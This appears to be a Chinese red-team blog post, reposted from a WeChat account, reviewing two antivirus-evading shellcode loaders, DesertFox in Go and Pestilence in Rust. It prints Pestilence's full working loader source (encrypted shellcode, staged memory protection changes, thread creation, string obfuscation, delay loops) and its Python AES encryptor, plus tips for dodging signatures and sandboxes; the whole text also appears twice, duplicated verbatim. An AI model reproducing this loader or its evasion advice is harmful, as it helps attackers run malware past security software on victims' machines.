一个能独自从黑暗走出来的人,不是野兽,便是神明!
本篇将是自动化加载器的最后一篇,接下来简单的分析一下go语言实现的DesertFox,以及rust语言编写的Pestilence加载器:
DesertFox
这是一个使用golang编写的shellcodeLoader,当然像作者说的免杀诸多安全软件,看看就好,免杀之所谓免杀,在于你看不见之处免杀,一旦被针对,再强力的免杀也会很快失效,这一个项目是2021年发的,接下来看看代码结构,以及编写思路:
https://github.com/zha0gongz1/DesertFox
![红队免杀系列之自动化Loader解读(四) 红队免杀系列之自动化Loader解读(四)]()
作者的代码很清爽,这里赞一个
加载shellcode的部分封装到function.go中:
这一部分,作者采用远程加载加密后的shellcode文件的方式(加密算法为SM4),就是loader+SM4加密后的shellcode部分(这一部分放到服务器上),后面几段就是固定的开辟内存,指定读写执行的内存块,执行shellcode,没啥太多亮点
![红队免杀系列之自动化Loader解读(四) 红队免杀系列之自动化Loader解读(四)]()
值得一说的是作者的加载器引入了大量第三方库,可以看到有操作注册表的库,以及sm4加密库。
目前而言杀软对于某些第三方库的特征查杀也很严格,建议算法之流能自己实现就自己实现,尽可能少的引入别人的代码(尤其是go版的各种地狱之门,天堂之门,syscall,以及各类sleep的tech等)
![红队免杀系列之自动化Loader解读(四) 红队免杀系列之自动化Loader解读(四)]()
专门写了一段用来检测沙箱,这一类沙箱检测其实可以可以单独划出来做成前置马(自行实现,别用公开的代码),像微步这一类在线沙箱完全可以检测到你检查沙箱的操作,然后给你嘿嘿嘿了。
![红队免杀系列之自动化Loader解读(四) 红队免杀系列之自动化Loader解读(四)]()
目前而言,比较一般,不算亮眼的操作,初学者可以学学代码的写法,想想怎么改代码。
![红队免杀系列之自动化Loader解读(四) 红队免杀系列之自动化Loader解读(四)]()
Pestilence
外国佬写的一个免杀加载器,使用rust语言写的Loader,使用了AES加密,加密器部分使用python实现
https://github.com/cr7pt0pl4gu3/Pestilence
![红队免杀系列之自动化Loader解读(四) 红队免杀系列之自动化Loader解读(四)]()
部分读者可能没接触过rust,在这里对代码做一些详尽的解读:
main.rs
完整代码
use std::env;
use aes::{Aes128};
use cfb_mode::Cfb;
use cfb_mode::cipher::{NewCipher, AsyncStreamCipher};
use windows::{Win32::System::Memory::*, Win32::System::SystemServices::*};
use ntapi::{ntmmapi::*, ntpsapi::*, ntobapi::*, winapi::ctypes::*};
use obfstr::obfstr;
type Aes128Cfb = Cfb<Aes128>;
pub struct Injector {
shellcode: Vec<u8>,
}
impl Injector {
pub fn new(shellcode: Vec<u8>) -> Injector {
Injector { shellcode }
}
pub fn run_in_current_process(&mut self) {
unsafe {
let mut protect = PAGE_NOACCESS.0;
let mut map_ptr: *mut c_void = std::ptr::null_mut();
// asking for more than needed, because we can afford it
let mut sc_len = self.shellcode.len() * 5;
NtAllocateVirtualMemory(NtCurrentProcess, &mut map_ptr, 0, &mut sc_len, MEM_COMMIT.0 | MEM_RESERVE.0, protect);
custom_sleep(100);
NtProtectVirtualMemory(NtCurrentProcess, &mut map_ptr, &mut sc_len, PAGE_READWRITE.0, &mut protect);
custom_sleep(100);
self.copy_nonoverlapping_gradually(map_ptr as *mut u8);
NtProtectVirtualMemory(NtCurrentProcess, &mut map_ptr, &mut sc_len, PAGE_NOACCESS.0, &mut protect);
custom_sleep(100);
NtProtectVirtualMemory(NtCurrentProcess, &mut map_ptr, &mut sc_len, PAGE_EXECUTE.0, &mut protect);
custom_sleep(100);
let mut thread_handle : *mut c_void = std::ptr::null_mut();
NtCreateThreadEx(&mut thread_handle, MAXIMUM_ALLOWED, std::ptr::null_mut(), NtCurrentProcess, map_ptr, std::ptr::null_mut(), 0, 0, 0, 0, std::ptr::null_mut());
NtWaitForSingleObject(thread_handle, 0, std::ptr::null_mut());
}
}
fn copy_nonoverlapping_gradually(&mut self, map_ptr: *mut u8) {
unsafe {
let sc_ptr = self.shellcode.as_ptr();
let mut i = 0;
while i < self.shellcode.len()+33 {
std::ptr::copy_nonoverlapping(sc_ptr.offset(i as isize), map_ptr.offset(i as isize), 32);
i += 32;
#[cfg(debug_assertions)]
if i % 3200 == 0 || i > self.shellcode.len()
{
println!("{}{}{}{}{}", obfstr!("[+] [total written] ["), i, obfstr!("B/"), self.shellcode.len(), obfstr!("B]"));
}
custom_sleep(2);
}
}
}
}
const SHELLCODE_BYTES: &[u8] = include_bytes!("../shellcode.enc");
const SHELLCODE_LENGTH: usize = SHELLCODE_BYTES.len();
#[no_mangle]
#[link_section = ".text"]
static SHELLCODE: [u8; SHELLCODE_LENGTH] = *include_bytes!("../shellcode.enc");
static AES_KEY: [u8; 16] = *include_bytes!("../aes.key");
static AES_IV: [u8; 16] = *include_bytes!("../aes.iv");
fn decrypt_shellcode_stub() -> Vec<u8> {
let mut cipher = Aes128Cfb::new_from_slices(&AES_KEY, &AES_IV).unwrap();
let mut buf = SHELLCODE.to_vec();
cipher.decrypt(&mut buf);
buf
}
fn custom_sleep(delay: u8) {
for _ in 0..delay {
for _ in 0..10 {
for _ in 0..10 {
for _ in 0..10 {
print!("{}", obfstr!(""));
}
}
}
}
}
fn main() {
let args: Vec<String> = env::args().collect();
if args[1] == obfstr!("activate") {
let mut injector = Injector::new(decrypt_shellcode_stub());
injector.run_in_current_process();
}
}
让我们逐段解读这段代码:
-
导入必要的 Rust 模块和库:
use std::env;
use aes::{Aes128};
use cfb_mode::Cfb;
use cfb_mode::cipher::{NewCipher, AsyncStreamCipher};
use windows::{Win32::System::Memory::*, Win32::System::SystemServices::*};
use ntapi::{ntmmapi::*, ntpsapi::*, ntobapi::*, winapi::ctypes::*};
use obfstr::obfstr;
这里导入了一些标准库和外部库,包括对 AES 加密、CFB 模式、Windows API 和字符串混淆的使用。
-
定义了 AES128-CFB 加密算法类型和一个注入器结构体:
type Aes128Cfb = Cfb<Aes128>;
pub struct Injector {
shellcode: Vec<u8>,
}
这里定义了用于 AES128-CFB 加密的类型和一个注入器结构体,其中存储了 Shellcode 的字节数组。
-
实现了注入器结构体的方法:
impl Injector {
pub fn new(shellcode: Vec<u8>) -> Injector {
Injector { shellcode }
}
pub fn run_in_current_process(&mut self) {
// ... (后续代码省略)
}
// ... (后续代码省略)
fn copy_nonoverlapping_gradually(&mut self, map_ptr: *mut u8) {
// ... (后续代码省略)
}
}
这里实现了注入器结构体的方法,包括创建新注入器和运行注入器方法。
-
定义了一些常量,包括加密后的 Shellcode 字节数组和相关密钥:
const SHELLCODE_BYTES: &[u8] = include_bytes!("../shellcode.enc");
const SHELLCODE_LENGTH: usize = SHELLCODE_BYTES.len();
static SHELLCODE: [u8; SHELLCODE_LENGTH] = *include_bytes!("../shellcode.enc");
static AES_KEY: [u8; 16] = *include_bytes!("../aes.key");
static AES_IV: [u8; 16] = *include_bytes!("../aes.iv");
这里定义了一些常量,包括解密后的 Shellcode 字节数组和 AES 加密所需的密钥和 IV。
-
实现了解密 Shellcode 的函数:
fn decrypt_shellcode_stub() -> Vec<u8> {
// ... (后续代码省略)
}
这里实现了解密 Shellcode 的函数,使用 AES128-CFB 解密 Shellcode。
-
实现了模拟延时的函数:
fn custom_sleep(delay: u8) {
// ... (后续代码省略)
}
这里实现了模拟延时的函数。
-
在 main 函数中执行注入操作:
fn main() {
let args: Vec<String> = env::args().collect();
if args[1] == obfstr!("activate") {
let mut injector = Injector::new(decrypt_shellcode_stub());
injector.run_in_current_process();
}
}
这里在 main 函数中获取命令行参数,如果参数为 "activate",则创建一个注入器并运行 Shellcode。
总体来说,这段代码实现了一个将解密后的 Shellcode 注入到当前进程并执行的功能,涉及了 AES 解密、Windows API 调用等操作。
加密器
#!/usr/bin/env python3
import os
import string
import random
from hashlib import md5
from Cryptodome.Cipher import AES
letters = string.ascii_letters
print("[+] ALPHABET:", letters)
random_key = ''.join(random.choice(letters) for _ in range(32))
random_iv = ''.join(random.choice(letters) for _ in range(16))
print("[+] KEY:", random_key)
print("[+] IV:", random_iv)
random_key_digest = md5(random_key.encode('utf-8'))
random_iv_digest = md5(random_iv.encode('utf-8'))
print("[+] KEY DIGEST (md5):", random_key_digest.hexdigest())
print("[+] IV DIGEST (md5):", random_iv_digest.hexdigest())
random_key_digest = random_key_digest.digest()
random_iv_digest = random_iv_digest.digest()
with open("aes.key", "wb") as f:
f.write(random_key_digest)
with open("aes.iv", "wb") as f:
f.write(random_iv_digest)
mode = AES.MODE_CFB
encryptor = AES.new(random_key_digest, mode, random_iv_digest, segment_size=128)
with open("shellcode.bin", "rb") as f:
shellcode = f.read()
cipher = encryptor.encrypt(shellcode)
with open("shellcode.enc", "wb") as f:
f.write(cipher)
print("[+] DONE!")
加密器实现的功能很简单,使用AES CFB加密模式加密传入的shellcode文件shellcode.bin(AES的IV以及加密密钥都会随机生成,然后存储到对应的文件中),加密生成shellcode.enc
这个项目生成的文件比较多,涉及aes.key,aes.iv,shellcode.enc还有加载器本体,嗯,实际使用会麻烦点,仅供参考
![红队免杀系列之自动化Loader解读(四) 红队免杀系列之自动化Loader解读(四)]()
DesertFox
这是一个使用golang编写的shellcodeLoader,当然像作者说的免杀诸多安全软件,看看就好,免杀之所谓免杀,在于你看不见之处免杀,一旦被针对,再强力的免杀也会很快失效,这一个项目是2021年发的,接下来看看代码结构,以及编写思路:
https://github.com/zha0gongz1/DesertFox
作者的代码很清爽,这里赞一个
加载shellcode的部分封装到function.go中:
这一部分,作者采用远程加载加密后的shellcode文件的方式(加密算法为SM4),就是loader+SM4加密后的shellcode部分(这一部分放到服务器上),后面几段就是固定的开辟内存,指定读写执行的内存块,执行shellcode,没啥太多亮点
值得一说的是作者的加载器引入了大量第三方库,可以看到有操作注册表的库,以及sm4加密库。
目前而言杀软对于某些第三方库的特征查杀也很严格,建议算法之流能自己实现就自己实现,尽可能少的引入别人的代码(尤其是go版的各种地狱之门,天堂之门,syscall,以及各类sleep的tech等)
专门写了一段用来检测沙箱,这一类沙箱检测其实可以可以单独划出来做成前置马(自行实现,别用公开的代码),像微步这一类在线沙箱完全可以检测到你检查沙箱的操作,然后给你嘿嘿嘿了。
目前而言,比较一般,不算亮眼的操作,初学者可以学学代码的写法,想想怎么改代码。
Pestilence
外国佬写的一个免杀加载器,使用rust语言写的Loader,使用了AES加密,加密器部分使用python实现
https://github.com/cr7pt0pl4gu3/Pestilence
部分读者可能没接触过rust,在这里对代码做一些详尽的解读:
main.rs
完整代码
use std::env;
use aes::{Aes128};
use cfb_mode::Cfb;
use cfb_mode::cipher::{NewCipher, AsyncStreamCipher};
use windows::{Win32::System::Memory::*, Win32::System::SystemServices::*};
use ntapi::{ntmmapi::*, ntpsapi::*, ntobapi::*, winapi::ctypes::*};
use obfstr::obfstr;
type Aes128Cfb = Cfb<Aes128>;
pub struct Injector {
shellcode: Vec<u8>,
}
impl Injector {
pub fn new(shellcode: Vec<u8>) -> Injector {
Injector { shellcode }
}
pub fn run_in_current_process(&mut self) {
unsafe {
let mut protect = PAGE_NOACCESS.0;
let mut map_ptr: *mut c_void = std::ptr::null_mut();
// asking for more than needed, because we can afford it
let mut sc_len = self.shellcode.len() * 5;
NtAllocateVirtualMemory(NtCurrentProcess, &mut map_ptr, 0, &mut sc_len, MEM_COMMIT.0 | MEM_RESERVE.0, protect);
custom_sleep(100);
NtProtectVirtualMemory(NtCurrentProcess, &mut map_ptr, &mut sc_len, PAGE_READWRITE.0, &mut protect);
custom_sleep(100);
self.copy_nonoverlapping_gradually(map_ptr as *mut u8);
NtProtectVirtualMemory(NtCurrentProcess, &mut map_ptr, &mut sc_len, PAGE_NOACCESS.0, &mut protect);
custom_sleep(100);
NtProtectVirtualMemory(NtCurrentProcess, &mut map_ptr, &mut sc_len, PAGE_EXECUTE.0, &mut protect);
custom_sleep(100);
let mut thread_handle : *mut c_void = std::ptr::null_mut();
NtCreateThreadEx(&mut thread_handle, MAXIMUM_ALLOWED, std::ptr::null_mut(), NtCurrentProcess, map_ptr, std::ptr::null_mut(), 0, 0, 0, 0, std::ptr::null_mut());
NtWaitForSingleObject(thread_handle, 0, std::ptr::null_mut());
}
}
fn copy_nonoverlapping_gradually(&mut self, map_ptr: *mut u8) {
unsafe {
let sc_ptr = self.shellcode.as_ptr();
let mut i = 0;
while i < self.shellcode.len()+33 {
std::ptr::copy_nonoverlapping(sc_ptr.offset(i as isize), map_ptr.offset(i as isize), 32);
i += 32;
#[cfg(debug_assertions)]
if i % 3200 == 0 || i > self.shellcode.len()
{
println!("{}{}{}{}{}", obfstr!("[+] [total written] ["), i, obfstr!("B/"), self.shellcode.len(), obfstr!("B]"));
}
custom_sleep(2);
}
}
}
}
const SHELLCODE_BYTES: &[u8] = include_bytes!("../shellcode.enc");
const SHELLCODE_LENGTH: usize = SHELLCODE_BYTES.len();
#[no_mangle]
#[link_section = ".text"]
static SHELLCODE: [u8; SHELLCODE_LENGTH] = *include_bytes!("../shellcode.enc");
static AES_KEY: [u8; 16] = *include_bytes!("../aes.key");
static AES_IV: [u8; 16] = *include_bytes!("../aes.iv");
fn decrypt_shellcode_stub() -> Vec<u8> {
let mut cipher = Aes128Cfb::new_from_slices(&AES_KEY, &AES_IV).unwrap();
let mut buf = SHELLCODE.to_vec();
cipher.decrypt(&mut buf);
buf
}
fn custom_sleep(delay: u8) {
for _ in 0..delay {
for _ in 0..10 {
for _ in 0..10 {
for _ in 0..10 {
print!("{}", obfstr!(""));
}
}
}
}
}
fn main() {
let args: Vec<String> = env::args().collect();
if args[1] == obfstr!("activate") {
let mut injector = Injector::new(decrypt_shellcode_stub());
injector.run_in_current_process();
}
}
让我们逐段解读这段代码:
-
导入必要的 Rust 模块和库:
use std::env;
use aes::{Aes128};
use cfb_mode::Cfb;
use cfb_mode::cipher::{NewCipher, AsyncStreamCipher};
use windows::{Win32::System::Memory::*, Win32::System::SystemServices::*};
use ntapi::{ntmmapi::*, ntpsapi::*, ntobapi::*, winapi::ctypes::*};
use obfstr::obfstr;
这里导入了一些标准库和外部库,包括对 AES 加密、CFB 模式、Windows API 和字符串混淆的使用。
-
定义了 AES128-CFB 加密算法类型和一个注入器结构体:
type Aes128Cfb = Cfb<Aes128>;
pub struct Injector {
shellcode: Vec<u8>,
}
这里定义了用于 AES128-CFB 加密的类型和一个注入器结构体,其中存储了 Shellcode 的字节数组。
-
实现了注入器结构体的方法:
impl Injector {
pub fn new(shellcode: Vec<u8>) -> Injector {
Injector { shellcode }
}
pub fn run_in_current_process(&mut self) {
// ... (后续代码省略)
}
// ... (后续代码省略)
fn copy_nonoverlapping_gradually(&mut self, map_ptr: *mut u8) {
// ... (后续代码省略)
}
}
这里实现了注入器结构体的方法,包括创建新注入器和运行注入器方法。
-
定义了一些常量,包括加密后的 Shellcode 字节数组和相关密钥:
const SHELLCODE_BYTES: &[u8] = include_bytes!("../shellcode.enc");
const SHELLCODE_LENGTH: usize = SHELLCODE_BYTES.len();
static SHELLCODE: [u8; SHELLCODE_LENGTH] = *include_bytes!("../shellcode.enc");
static AES_KEY: [u8; 16] = *include_bytes!("../aes.key");
static AES_IV: [u8; 16] = *include_bytes!("../aes.iv");
这里定义了一些常量,包括解密后的 Shellcode 字节数组和 AES 加密所需的密钥和 IV。
-
实现了解密 Shellcode 的函数:
fn decrypt_shellcode_stub() -> Vec<u8> {
// ... (后续代码省略)
}
这里实现了解密 Shellcode 的函数,使用 AES128-CFB 解密 Shellcode。
-
实现了模拟延时的函数:
fn custom_sleep(delay: u8) {
// ... (后续代码省略)
}
这里实现了模拟延时的函数。
-
在 main 函数中执行注入操作:
fn main() {
let args: Vec<String> = env::args().collect();
if args[1] == obfstr!("activate") {
let mut injector = Injector::new(decrypt_shellcode_stub());
injector.run_in_current_process();
}
}
这里在 main 函数中获取命令行参数,如果参数为 "activate",则创建一个注入器并运行 Shellcode。
总体来说,这段代码实现了一个将解密后的 Shellcode 注入到当前进程并执行的功能,涉及了 AES 解密、Windows API 调用等操作。
加密器
#!/usr/bin/env python3
import os
import string
import random
from hashlib import md5
from Cryptodome.Cipher import AES
letters = string.ascii_letters
print("[+] ALPHABET:", letters)
random_key = ''.join(random.choice(letters) for _ in range(32))
random_iv = ''.join(random.choice(letters) for _ in range(16))
print("[+] KEY:", random_key)
print("[+] IV:", random_iv)
random_key_digest = md5(random_key.encode('utf-8'))
random_iv_digest = md5(random_iv.encode('utf-8'))
print("[+] KEY DIGEST (md5):", random_key_digest.hexdigest())
print("[+] IV DIGEST (md5):", random_iv_digest.hexdigest())
random_key_digest = random_key_digest.digest()
random_iv_digest = random_iv_digest.digest()
with open("aes.key", "wb") as f:
f.write(random_key_digest)
with open("aes.iv", "wb") as f:
f.write(random_iv_digest)
mode = AES.MODE_CFB
encryptor = AES.new(random_key_digest, mode, random_iv_digest, segment_size=128)
with open("shellcode.bin", "rb") as f:
shellcode = f.read()
cipher = encryptor.encrypt(shellcode)
with open("shellcode.enc", "wb") as f:
f.write(cipher)
print("[+] DONE!")
加密器实现的功能很简单,使用AES CFB加密模式加密传入的shellcode文件shellcode.bin(AES的IV以及加密密钥都会随机生成,然后存储到对应的文件中),加密生成shellcode.enc
这个项目生成的文件比较多,涉及aes.key,aes.iv,shellcode.enc还有加载器本体,嗯,实际使用会麻烦点,仅供参考
以上自动化shellcode加载器便告一段落了,主流写法几乎都是加密+分离免杀+反沙箱+延迟执行等一系列的技术组成。
这周五中秋国庆一起放假了啊,预祝各位师傅中秋快乐!!!
原文始发于微信公众号(JC的安全之路):红队免杀系列之自动化Loader解读(四)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论